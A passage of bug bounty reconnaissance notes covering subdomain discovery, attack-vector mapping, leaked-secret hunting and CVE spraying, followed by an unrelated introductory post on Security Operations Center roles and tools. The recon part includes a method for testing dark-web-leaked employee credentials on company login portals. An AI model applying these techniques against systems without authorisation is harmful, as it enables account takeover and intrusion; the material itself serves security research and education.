- Reverse DNS:
  - Purpose: Look up domain names associated with a given IP address.
  - Tools: hakrevdns can perform reverse DNS lookups on a list of IPs.
3. SSL/TLS Certificate Analysis
- Certificate Transparency Logs: (As described above – monitoring new certs).
- Tools:
  - TLSX: A fast SSL/TLS data gathering and analysis tool. It can extract Subject Alternative Names (SANs) and Common Names (CNs) from certificates, which often list other related domains and subdomains.
- Fingerprinting:
  - JARM: An active TCP fingerprinting tool for identifying SSL/TLS server applications.
  - JA3/JA3S: A method for creating SSL/TLS client (JA3) and server (JA3S) fingerprints based on the parameters of the SSL/TLS handshake. These can help identify specific client applications or malware, or group similar server configurations.
4. Shodan Search
- Purpose: Search engine for internet-connected devices.
- Device Enumeration: Find servers, IoT devices, webcams, industrial control systems, etc., related to the target using specific queries (e.g., org name, IP range, port numbers).
- Vulnerability Identification: Can reveal exposed services, default credentials, misconfigurations, or known vulnerabilities based on software banners.

GOAL: Find Every Possible Target & Attack Vector

This section defines what constitutes an attack vector in different contexts.

An Injection Attack Vector is the unique combination of:
- HTTP Verb: GET, POST, PUT, DELETE, PATCH, etc. The method used for the request.
- Domain:Port: The target host and port (e.g., example.com:443).
- Endpoint: The specific path of the URL (e.g., /api/v1/users).
- Injection Point: The specific parameter, header, cookie, or part of the URL path where malicious input is injected.
- Significance: Each unique combination is a distinct place to test for vulnerabilities like SQL Injection, XSS, Command Injection, etc.
A Logic Attack Vector is one of the following four things:
- Overly Complex Mechanism: A feature or workflow with many steps, conditions, or dependencies. Complexity increases the chance of oversight and flaws.
- Database Query Using ID From HTTP Request: Any endpoint that retrieves data based on an ID supplied in the request (e.g., /items?id=123) is a potential IDOR vector.
- Granular Access Controls: Systems with many roles, permissions, or fine-grained access rules. The more complex the rules, the harder they are to implement and enforce correctly, potentially leading to privilege escalation or authorization bypasses.
- "Hacky" Implementations: Code or features that seem rushed, poorly designed, or like workarounds. These often cut corners on security.
Ebb & Flow:
- Concept: Your bug hunting process should be iterative.
- Methodology:
  1. Follow the recon methodology to identify 3-5 promising attack vectors on a target URL.
  2. Spend focused time testing these vectors.
  3. If you get stuck or results diminish, "put a pin" (pause and remember) in those vectors.
  4. Return to an earlier stage of recon, try new tools/techniques to expand knowledge of the attack surface.
  5. Choose 3-5 new attack vectors.
  6. Repeat.
- Goal: Maintain momentum, avoid burnout on a single path, and continuously expand coverage.

# Core Recon Workflow

A structured workflow, particularly useful for programs with broad scopes or when starting with just a company name.

Finding Apex Domains
- Summary: For programs with "Wide Open Scope" (any asset owned by the company), you first need to find the main (apex) domains (e.g., company.com, anotherproduct.com) before you can find subdomains.
- Example Programs: US Department of Defense (DoD), Tesla.
- Input: Company Name
- Techniques:
  - Web Scraping:
    - Tools: Shodan, DNS Dumpster, Reverse WhoIs (viewdns.info).
    - Amass Intel Module: amass intel -org 'Company Name' can find domains associated with an organization.
    - Creativity: Think of less obvious public places where a company might list domains (e.g., marketing materials, job postings, partner pages, legal documents). The goal is to find domains other researchers might miss.
  - Google Dorking: Using advanced Google search operators (intitle:, intext:, site:, filetype:, etc.) to find specific information or domains. This can uncover websites hosted on domains not easily found by searching for the company name directly.
  - Cloud IP Ranges:
    - Method: Scan IP ranges belonging to cloud providers (AWS, Azure, GCP) where the company might host assets. Extract SSL certificate data from responding IPs and look for certificates issued to domains containing the company name or related keywords.
    - Note: This can be time-consuming and data-intensive.
  - Autonomous System Number (ASN):
    - Method: If a company hosts its own infrastructure (on-premise), it will likely have registered IP address ranges with an ISP, which are assigned an ASN. Query public resources (e.g., BGP tools) for ASNs associated with the company to find its IP ranges and potentially apex domains resolving within those ranges.
  - Acquisitions & Mergers:
    - Method: Monitor tech news, financial news, and sites like Crunchbase for M&A activity. Domains of acquired companies often become in-scope.
  - LinkedIn + GitHub:
    - Method:
      1. Use LinkedIn to find developers/engineers working for the target company.
      2. Try to find their personal GitHub accounts (if public).
      3. Search their public repositories for code snippets containing domains or keywords related to the target company. Developers sometimes test company code or use company assets in personal projects.
  - Marketing & Favicon:
    - Tracking Cookies: If you find a website using the same unique tracking cookie ID (e.g., Google Analytics ID, Hubspot ID) as known company sites, it might also belong to the company.
    - Favicon Hashing: Calculate the hash (e.g., MD5, MMH3) of a known company favicon. Search for this hash in search engines like Shodan, Censys, or specialized favicon search tools. Sites using the same favicon might be related.
- Output: List of Apex Domains
Finding Live Web Applications
- Summary: Once you have apex domains, the next step is to find all associated subdomains and then determine which of these (and their corresponding IPs/ports) are hosting live web applications.
- Input: Apex Domain
- Steps (Apex Domain → List of Subdomains):
  - Amass: (As mentioned before) A primary tool for comprehensive subdomain discovery using various techniques. The note states it finds ~80% of subdomains, implying the remaining 20% require more creative/manual efforts.
  - Web Scraping (for subdomains):
    - Tools: Sublist3r, Assetfinder, GetAllUrls (GAU - fetches known URLs from AlienVault's Open Threat Exchange, Wayback Machine, and Common Crawl), Certificate Transparency Logs (via tools like ctfr, subfinder, or manually on crt.sh), Subfinder (passive discovery tool).
    - Goal: Use public resources and APIs to find subdomains.
  - Brute Force:
    - Method: Trying a list of common or generated subdomain names against the apex domain.
    - Tools:
      - ShuffleDNS: A wrapper around MassDNS, used for resolving subdomains with wildcard filtering and subdomain bruteforcing.
      - CeWL + ShuffleDNS: CeWL crawls a website and generates a custom wordlist based on words found on the site. This list can then be used with ShuffleDNS for more targeted subdomain brute-forcing, potentially finding subdomains that follow a naming convention visible in the site's content.
  - Link Discovery (Crawling existing findings for more links):
    - Tools:
      - GoSpider: A fast web spider that can find URLs, subdomains, and JavaScript files.
      - SubDomainizer: Scans JavaScript files and web pages for (sub)domains and other interesting information.
    - Note: This step is iterative. You find some subdomains, crawl them, find more, and repeat. The note mentions doing this twice: once before this stage and once at the end.
  - Cloud IP Ranges:
    - Tool: Clear-Sky (author's tool) automates scanning cloud IP ranges and extracting certificate data to find associated domains/subdomains. This can take a long time.
- Steps (List of Subdomains → List of Live URLs):
  - Resolve Subdomains to IPs:
    - Method: Convert FQDNs (Fully Qualified Domain Names like sub.example.com) to their IP addresses.
    - Caution: Prone to false positives (e.g., shared hosting, CDNs). Manual verification is crucial.
    - Verification: Check if IPs fall within known company ASN ranges (for on-prem) or access the IP directly in a browser. Accessing by IP can sometimes bypass security controls or reveal different applications due to Host Header variations.
  - Port Scanning:
    - Method: On the verified IPs, scan for open ports beyond standard web ports (80, 443), such as 8000, 8080, 8443, etc.
    - Tools: DNMasscan (combines DNS resolution with Masscan, a very fast port scanner). Again, verify results.
  - Consolidate:
    - Method: Create a unique list of subdomains. Filter out out-of-scope domains that crawlers might have picked up.
  - Test for Live Web App:
    - Method: Probe the unique list of subdomains/IPs/ports with HTTP/S requests to see if a web server responds.
    - Tools: httprobe, httpx (these tools take a list of domains and probe for live HTTP/S servers).
- Output: List of URLs Pointing to Live Web Applications
Choosing Target URLs
- Summary: From the list of live web applications, select which ones are most promising for manual testing based on indicators of potential vulnerability or lack of maintenance.
- Input: List of URLs Pointing to Live Web Applications
- Techniques:
  - Wide-Band Scanning (Automated Initial Scan):
    - Purpose: Quickly scan all live URLs for known vulnerabilities, misconfigurations, or outdated software. This can yield quick wins (rarely, as everyone does this) or, more importantly, highlight neglected applications.
    - Tools:
      - Nuclei: Fast, template-based vulnerability scanner. It has a large community-provided template base and allows custom YAML templates.
      - Semgrep: Open-source static analysis tool. Can be used on client-side JavaScript to find DOM XSS patterns, insecure coding practices. If lucky (e.g., unobfuscated webpack source maps), you can download raw client-side code (React, Vue, Angular) and scan it.
  - Choosing an App Worth Your Time (Manual Indicators): This is where experience ("Pointers") comes in.
    - Screenshots:
      - Tools: Nuclei (has screenshot templates), EyeWitness (gathers info and screenshots).
      - Look For: Major visual differences between apps, error messages, debug information, default pages, development environments.
    - Tech Stack:
      - Comfort Zone: Prioritize apps built with technologies you are familiar with and enjoy testing (e.g., MERN stack vs. .NET).
      - Tools: Wappalyzer, BuiltWith.
    - NPM Packages (Client-Side):
      - Method: Enumerate client-side JavaScript libraries and their versions. Check if these versions have known CVEs.
      - Tool: Retire.js (browser extension or command-line tool).
      - Caution: A known CVE in a library doesn't automatically mean the application is vulnerable. The vulnerable function in the library must actually be used by the application. However, many outdated packages suggest poor maintenance.
    - Certificates:
      - Expired Certificate: Strong indicator of a neglected application.
      - Mismatched Certificate: (e.g., cert for old.example.com served on new.example.com). Could indicate recent changes, rushed migration, or misconfiguration.
      - Self-Signed Certificate: Should not be on public-facing production systems. Often indicates a development/test environment accidentally exposed.
      - Caution: Appending port 443 to a URL (e.g., https://example.com:443) might cause browsers or tools to show a mismatch if the cert is only for example.com, but it's the same app.
- Output: List of URLs Hosting Web Applications Worth Your Time
Enumeration (Deep Dive into a Chosen Target URL)
- Summary: Once a promising URL is chosen, the goal is to find specific Attack Vectors by thoroughly examining its components.
- Input: URL Pointing to Live Web Application Worth Your Time (Target URL)
- Injection Attack Vectors (User-controlled input not sanitized):
  - Endpoints (Routes/Paths):
    - Manual Clicking: Explore the application normally to map out intended functionality.
    - Automated Crawl: Use crawlers to find endpoints missed manually (e.g., in JavaScript files, sitemaps).
      - Tools: PortSwigger's Burp Suite (Site map > Discover content), Project Discovery's Katana, Caido (another web security auditing toolkit).
    - Fuzzing For Endpoints (Brute-forcing directories/files):
      - Tools: FFUF, Burp Intruder, Burp Content Discovery (Discover content feature).
  - Parameters (User-controlled input in URL query string or request body):
    - Tools for finding hidden/unlinked parameters: Arjun, Burp Param Miner (extension for Burp Suite).
  - HTTP Verbs (Methods: GET, POST, PUT, DELETE, OPTIONS, etc.):
    - Method: Test each endpoint with different HTTP verbs. Some endpoints might behave differently or expose unintended functionality with verbs other than the one typically used.
    - Tool: appscan by gh0st (mentioned for testing verbs).
  - Headers/Cookies:
    - Method: Fuzz for non-standard or hidden HTTP headers and cookies that might be processed by the application, leading to vulnerabilities or revealing debug functionality.
    - Tools: Burp Param Miner, FFUF, Burp Intruder.
- Logic Attack Vectors (Flaws in application design/workflow, developer oversight):
  - Dev Tools (Browser Developer Tools - F12): A primary source for initial logic assessment.
    - Client-Side Data Storage:
      - localStorage / sessionStorage: Check for sensitive data stored here (e.g., tokens, user info). While convenient, it's accessible to any JavaScript running on the page (e.g., XSS).
    - Cookies & Cookie Flags:
      - Data Stored in Cookie: Look for plaintext or easily decodable (e.g., Base64 encoded JSON like JWTs) sensitive data.
      - Cookie Signed for Integrity: If data is present, is it signed to prevent tampering? If signed, is the signature validated consistently across all endpoints?
      - Secure Flag: Ensures cookie is only sent over HTTPS. Absence can lead to leakage over HTTP.
      - HttpOnly Flag: Prevents client-side JavaScript from accessing the cookie. Absence makes session cookies vulnerable to XSS.
      - SameSite Flag (Strict, Lax, None): Mitigates CSRF. SameSite=None (especially without Secure) can make CSRF attacks easier.
    - Client-Side JavaScript:
      - Webpack Serialized/Obfuscated?: If not (e.g., source maps exposed), raw framework code (React, Vue, etc.) might be downloadable (e.g., using Burp's JS Miner extension or similar tools) for deeper analysis with tools like Semgrep.
      - Readable JS?: Unminified or well-commented JS is easier to analyze for flaws or hidden endpoints.
      - Custom JS Files?: Custom logic is less vetted than standard libraries and more prone to bugs.
      - Secrets/API Keys?: Hardcoded secrets in client-side JS are a common vulnerability.
      - API Endpoints in JS?: JS code often reveals API endpoints, including potentially hidden or undocumented ones.
    - State/Props (for frameworks like React, Vue, Angular):
      - Tools: React Developer Tools (browser extension).
      - Method: Inspect the component state and props in the Virtual DOM for sensitive data that developers might assume is not easily accessible.
  - Mechanisms (Series of HTTP requests for a specific task, e.g., CRUD):
    - Look For:
      - Complex Mechanisms: More steps/parameters = more chances for errors.
      - Sensitive Mechanisms: Those handling valuable data or critical functions. Impact is key for bug bounties.
    - Examples: Password Reset, SSO/OAuth Authentication, File Upload, Shopping Cart/Checkout.
  - Access Controls (Rules dictating what a client can access/do):
    - Role-Based Access Control (RBAC): Users assigned roles (Admin, User). Test for privilege escalation (e.g., User performing Admin actions).
    - Discretionary Access Control (DAC): Owners of resources grant permissions to others (e.g., sharing a document). Test if uninvited users can access.
    - Granular Policy-Based Access Controls (PBAC): Very specific permissions for individual users/operations (e.g., user A can CREATE and READ item X, but not UPDATE or DELETE). These are complex and prone to bypasses.
  - Database Queries (Focus on IDORs):
    - Method: Look for endpoints where the application queries a database using an identifier from the HTTP request (e.g., ObjectID, UserID, Email).
    - Goal: Test if by manipulating this identifier, you can access data belonging to other users or entities that you shouldn't have access to. The focus here is on authorization, not necessarily SQL injection (though that's also a risk).
- Output: List of Attack Vectors Worth Your Time

# Finding Bugs w/ Recon

Using the gathered reconnaissance data with automation to find bugs, sometimes without extensive manual testing.

Leaked Secrets (In-App)
- Input: URL Pointing to Live Web Application Worth Your Time
- Concept: Finding sensitive data unintentionally exposed within the application's client-side resources or responses. Requires speed (report first) or creativity (find what others miss).
- Examples:
  - API Key in client-side JavaScript.
  - Server responses returning excessive user data (e.g., password hashes, salts for all users).
  - JWTs leaking the "seed" for randomness (allowing prediction).
  - Sensitive chat messages stored in React State/Props visible via dev tools.
  - Unobfuscated webpack revealing debug API endpoints.
  - Plaintext credentials stored in localStorage (e.g., a "fix" for session timeouts).
- Output: Data Valuable to an Attacker
Leaked Secrets (Web Scraping)
- Input: Company Name
- Concept: Developers sometimes post code snippets or ask for help on public forums, accidentally leaking sensitive information or internal code.
- Sources: StackOverflow, Pastebin, public forums.
- Output: Data Valuable to an Attacker
Leaked Secrets (GitHub/GitLab)
- Input: Company Name, Employee Names, Company GH Org
- Concept: Finding sensitive data in public code repositories.
- Methods:
  - Public Repo on Company's Official Org Account: A repository that should be private but is accidentally public. Look for API keys, credentials, or internal logic that could be exploited.
  - Repo on Software Engineer's Personal Account: Developers might use personal accounts for company-related code (testing, side projects, unauthorized collaboration). Use LinkedIn to find engineers, then search for their GitHub/GitLab accounts.
  - String Search + Code Types: Search all public repos for company names or apex domains, filtered by specific languages (e.g., starbucks.com in bash or python scripts, hoping for hardcoded credentials).
  - String Search + Wordlist: Combine company/domain search with keywords like "password," "api_key," "secret."
    - Tool: Author's tool R-s0n/Github_Brute-Dork.
- Output: Data Valuable to an Attacker
CVE Spraying
- Input: List of URLs Pointing to Live Web Applications
- Concept: A Common Vulnerability and Exposure (CVE) is a publicly known vulnerability in specific software. CVE spraying involves testing many targets for a specific CVE or a set of CVEs.
- Hunting Styles:
  - Recon Heavy: Find attack vectors (domains, apps, infrastructure) that other researchers are missing, then scan these unique assets for existing CVEs using tools like Nuclei.
  - Future Bugs:
    1. A new CVE is announced (e.g., for an NPM package, cloud service, CMS like WordPress).
    2. Quickly build a way to test for this CVE (custom script or Nuclei template). The goal is to test for it on bug bounty programs before automated tools or other researchers do.
  - Both At Once (GOLD STANDARD): The ideal is to find unique attack surfaces and be among the first to test for newly disclosed CVEs on those surfaces.
- Output: Valid CVE Found on Target's Attack Surface

🔍 Reconnaissance Techniques (Additional/Overlooked - often from sources like Intigriti blog)

These are more specific or less common techniques to augment your recon.

1. Custom Wordlists
- Purpose: Improve brute-force attacks (directories, files, parameters) by using wordlists tailored to the target, rather than generic lists.
- Tools: CeWL (crawls a site and generates a wordlist from its content).
- Benefits: More relevant findings, fewer unnecessary requests (less noise, less risk of WAF blocking).
2. Virtual Host (VHost) Enumeration
- Purpose: Discover web applications hosted on the same IP address but configured for different Host headers. These might not be discoverable via DNS.
- Method: Brute-force the Host header with a list of potential hostnames (e.g., common subdomains, variations of the target name) while sending requests to a known IP of the target.
- Tools: Ffuf (e.g., ffuf -w vhost_wordlist.txt -H "Host: FUZZ.target.com" -u http://target_ip).
3. Forced Browse with Different HTTP Methods
- Purpose: Some endpoints might only be accessible or behave differently with specific HTTP methods (POST, PUT, DELETE, etc.) that are not typically used for Browse.
- Approach: Systematically test discovered endpoints with various HTTP methods.
4. JavaScript File Monitoring
- Purpose: Detect new API endpoints, parameters, or functionalities as they are added to JavaScript files over time.
- Tool: Jsmon (monitors JS files for changes and alerts you).
5. Crawling with Different User-Agent Headers
- Purpose: Some websites serve different content or have different interfaces for mobile devices, specific browsers, or search engine crawlers.
- Method: Emulate various User-Agent strings (e.g., iPhone, Android browser, Googlebot) when crawling or interacting with the site.
6. Favicon Hashing
- Purpose: Identify related websites or assets that share the same favicon (the small icon displayed in browser tabs).
- Method:
  1. Fetch the target's favicon file.
  2. Calculate its hash (e.g., MMH3 hash for Shodan).
  3. Search for this hash on platforms like Shodan (http.favicon.hash:<hash>) or Censys.
7. Analyzing Legacy JavaScript Files
- Purpose: Old or archived versions of JavaScript files might contain deprecated API endpoints, comments, or sensitive information that has since been removed from live versions but might still be active on the backend.
- Method: Use the Wayback Machine (archive.org) to find historical versions of a site's JS files.

Dark Web in Bug Bounty (Leveraging Cyber Threat Intelligence - CTI)

This section, attributed to "Mater," discusses using dark web intelligence.

Embracing CTI: CTI involves collecting and analyzing information about cyber threats (actors, TTPs - Tactics, Techniques, and Procedures) to help organizations mitigate risks.
Leveraging the Dark Web: The dark web is a source for stolen data, hacking tools, and discussions among cybercriminals. Info-stealer malware often compromises accounts (including those of security researchers) and leaks credentials.
Practical Application in Bug Bounty Hunting (Mater's Methodology):
1. Email Enumeration: Gather employee emails of the target company (e.g., using Hunter.io).
2. Data Leak Investigation: Search dark web forums, marketplaces, and Telegram channels for leaked credentials associated with these emails or the target company.
3. Credential Validation:
  - Identify login portals for the target company (e.g., VPN, admin panels, internal tools).
  - Tools like Logsensor (GitHub tool for searching logs for specific patterns, potentially to find where credentials might be used) can assist.
  - Test the compromised credentials on these portals.
4. Access Exploitation: If credentials work, attempt to access various portals to find vulnerabilities or sensitive data.
Ethical Considerations:
- Program Policies: Not all bug bounty programs accept findings based on leaked credentials. Some might mark them as informational, duplicates, or out of scope (especially if the leak isn't directly the company's fault). Always check the program's policy.
- Legal Boundaries: Ensure all actions comply with legal and ethical standards. Accessing systems with credentials, even if found publicly, can be a gray area or illegal depending on jurisdiction and context if not explicitly authorized.

Skills Checklist & Offensive Skills

These are extensive lists of technologies, tools, and offensive techniques/vulnerability types.

Skills Checklist (Technologies):
- Purpose: A self-assessment checklist for a bug bounty hunter to gauge their familiarity with building and securing a wide array of web technologies, frameworks (front-end and back-end), APIs, cloud platforms (AWS, Azure, GCP), CI/CD tools, infrastructure components, and security concepts.
- Content: Covers HTML/CSS/JS basics, various programming languages (PHP, Ruby, Python, Java, Node.js), frameworks (React, Angular, Vue, Django, Spring, Express), API types (REST, GraphQL, SOAP), data formats (JSON, XML), authentication/authorization protocols (OAuth, JWT, SAML), security mechanisms (CSP, CORS), cloud services (S3, Lambda, IAM, VPC), containerization (Docker, Kubernetes), and much more.
- Implication: The broader and deeper your knowledge of these technologies (from a developer's and a security perspective), the better equipped you are to find vulnerabilities.
Offensive Skills (Tools/Techniques & Vulnerability Types):
- Purpose: A self-assessment checklist for a bug bounty hunter to gauge their experience in "weaponizing" (i.e., actively exploiting or testing for) various vulnerabilities and using common offensive security tools.
- Content:
  - Vulnerability Types: Covers the OWASP Top 10 and many more, including SQL Injection, XSS, CSRF, SSRF, LFI/RFI, Auth Bypass, IDOR, XXE, Business Logic Flaws, various injection types, insecure deserialization, misconfigurations, etc. It also includes more advanced concepts like race conditions, blind attacks, second-order injections, and cloud-specific vulnerabilities.
  - Tools: Lists a vast array of popular security tools, including proxies (Burp Suite, ZAP), scanners (Nmap, Nikto, Nuclei), fuzzers (FFUF, Gobuster), recon tools (Amass, Sublist3r, Recon-ng), exploitation frameworks (Metasploit), password crackers (John the Ripper, Hashcat), web crawlers, API testing tools (Postman, Insomnia), cloud security tools (ScoutSuite, Prowler), and many more.
- Implication: Proficiency in these areas is essential for effectively finding and demonstrating the impact of vulnerabilities.

BL-SOC01 - Jump Into SOC

Trumpiter — Fri, 28 Feb 2025 02:48:12 +0000

TL;DR: A Security Operations Center (SOC) is a centralized unit that continuously monitors and defends an organization's information systems against cyber threats. Key roles within a SOC include SOC Analysts, Threat Hunters, Incident Responders, SOC Managers, and Security Engineers, each contributing to a robust cybersecurity posture. SOC Analysts are the first line of defense, responsible for monitoring security alerts and investigating potential threats. They utilize various security tools such as SIEM, EDR, and threat intelligence feeds to detect and analyze security incidents. Common mistakes made by SOC Analysts include over-reliance on single tools, hasty malware analysis, inadequate log analysis, and overlooking contextual information. Continuous learning and skill development are essential for SOC professionals to stay ahead of evolving cyber threats.

Table of content

Introduction to Security Operations Center (SOC)
- SOC Roles and Responsibilities
- SOC Analyst
- Threat Hunter
- Incident Responder
- SOC Manager
- Security Engineer
SOC Analyst and Their Responsibilities
- The Advantages of Being a SOC Analyst
- A Day in the Life of a SOC Analyst
- Operating Systems
- Networking
- Malware Analysis
Security Tools Used by SOC Analysts
- SIEM (Security Information and Event Management)
- Log Management
- Endpoint Detection and Response (EDR)
- SOAR (Security Orchestration, Automation, and Response)
- Threat Intelligence Feeds
Common Mistakes Made by SOC Analysts
- Over-reliance on VirusTotal Results
- Hasty Malware Analysis in a Sandbox
- Inadequate Log Analysis
- Overlooking VirusTotal Dates
Conclusion

Introduction to Security Operations Center (SOC)

A Security Operations Center (SOC) is a centralized unit that deals with security issues on an organizational and technical level. The primary goal of a SOC is to continuously monitor, detect, respond to, and mitigate cybersecurity threats to protect an organization's assets. SOC teams consist of various roles that work together to ensure a robust defense against cyber threats.

SOC Roles and Responsibilities

SOC Analyst

A SOC Analyst is the first line of defense in a SOC. They are responsible for monitoring security alerts, investigating potential threats, and escalating incidents if necessary. SOC Analysts use security tools such as SIEM, EDR, and threat intelligence feeds to detect and analyze security threats.

Threat Hunter

Threat Hunters proactively search for threats that might have evaded detection by automated security tools. They use advanced techniques such as behavioral analysis and forensic investigations to uncover hidden cyber threats within an organization’s network.

Incident Responder

Incident Responders take immediate action when a security incident occurs. They analyze attack vectors, contain the threat, and implement remediation measures to prevent further damage. They work closely with SOC Analysts and Threat Hunters to respond effectively to incidents.

SOC Manager

The SOC Manager oversees the entire SOC team, ensuring efficient operations, resource allocation, and incident handling. They establish security policies and collaborate with other departments to improve the organization’s security posture.

Security Engineer

Security Engineers maintain and configure security tools, ensuring they function optimally. They develop detection rules, automate security tasks, and enhance the SOC’s capabilities by improving infrastructure and workflows.

SOC Analyst and Their Responsibilities

A SOC Analyst is the first person to investigate threats to a system. If the situation demands it, they escalate incidents to their supervisors so they can mitigate threats. The SOC Analyst plays an important role on the SOC team because they are the first person to respond to a threat.

The Advantages of Being a SOC Analyst

Cyber threats and attack techniques evolve every day, making the role of a SOC Analyst dynamic and engaging. Analysts investigate different types of security incidents, ensuring that their work remains challenging and varied. Even though security products and operating systems remain constant, the nature of incidents differs, preventing monotony in daily tasks.

A Day in the Life of a SOC Analyst

A SOC Analyst’s daily tasks revolve around monitoring security alerts using a SIEM (Security Information and Event Management) system and determining which alerts require further investigation. They rely on various security tools such as Endpoint Detection and Response (EDR), Log Management, and SOAR to perform investigations and respond to threats.

To excel as a SOC Analyst, one must develop several key skills:

Operating Systems

Understanding how Windows and Linux operating systems work is essential for recognizing abnormal behavior. Knowing standard system processes helps differentiate between legitimate and malicious activity.

Networking

SOC Analysts frequently deal with malicious IPs and URLs. They must confirm whether devices on the network are attempting to connect to those addresses and investigate potential data leaks. A strong grasp of networking concepts is necessary to analyze such threats effectively.

Malware Analysis

When dealing with threats, analysts often encounter malware. Understanding how to analyze malicious software helps identify its purpose and whether it communicates with a command and control (C2) server. Even basic malware analysis skills can aid in responding to incidents.

Security Tools Used by SOC Analysts

SIEM (Security Information and Event Management)

SIEM solutions collect and analyze security event data from multiple sources. They generate alerts based on suspicious activities and help SOC Analysts identify potential threats. Popular SIEM solutions include IBM QRadar, Splunk, ArcSight ESM, and FortiSIEM.

Log Management

Log Management solutions centralize logs from different systems, making it easier to search and analyze security events. These solutions help SOC Analysts trace malicious activities, detect unauthorized access, and identify compromised systems.

Endpoint Detection and Response (EDR)

EDR solutions provide real-time monitoring and threat detection for endpoint devices. They allow SOC Analysts to isolate compromised machines, analyze suspicious processes, and search for Indicators of Compromise (IOCs) across all endpoints.

SOAR (Security Orchestration, Automation, and Response)

SOAR solutions integrate security tools to automate repetitive tasks and streamline incident response workflows. They allow analysts to use playbooks to ensure consistency in threat investigations.

Threat Intelligence Feeds

Threat Intelligence Feeds provide up-to-date information about emerging threats, such as malware hashes, malicious IPs, and domains. Analysts use these feeds to cross-check potential threats and improve threat detection accuracy.

Common Mistakes Made by SOC Analysts

Over-reliance on VirusTotal Results

SOC Analysts sometimes assume that a file or URL is safe based solely on VirusTotal results. However, attackers use AV (Antivirus) bypass techniques, and some threats may not be detected. VirusTotal should be used as a supporting tool, not a definitive answer.

Hasty Malware Analysis in a Sandbox

Some malware can detect sandbox environments and remain dormant to evade detection. Others may have delayed execution mechanisms. Analysts should allow sufficient time for analysis and, if possible, test malware in a real environment.

Inadequate Log Analysis

SOC Analysts should thoroughly investigate logs to determine if an attack has affected multiple systems. For example, if malware is detected on one device, analysts should check logs to see if other devices have communicated with the same malicious IP address.

Overlooking VirusTotal Dates

If a hash or IP address has been flagged in VirusTotal, analysts should check when it was first reported. An IP address used for malicious activity months ago may now be assigned to a legitimate service.

Conclusion

The SOC is the backbone of an organization’s cybersecurity defenses. SOC Analysts play a critical role in identifying and mitigating threats using various security tools and techniques. By understanding the fundamentals of operating systems, networking, and malware analysis, analysts can effectively investigate incidents and respond to security threats. As cyber threats evolve, continuous learning and skill development are essential for SOC professionals to stay ahead of attackers.

References

LetsDefend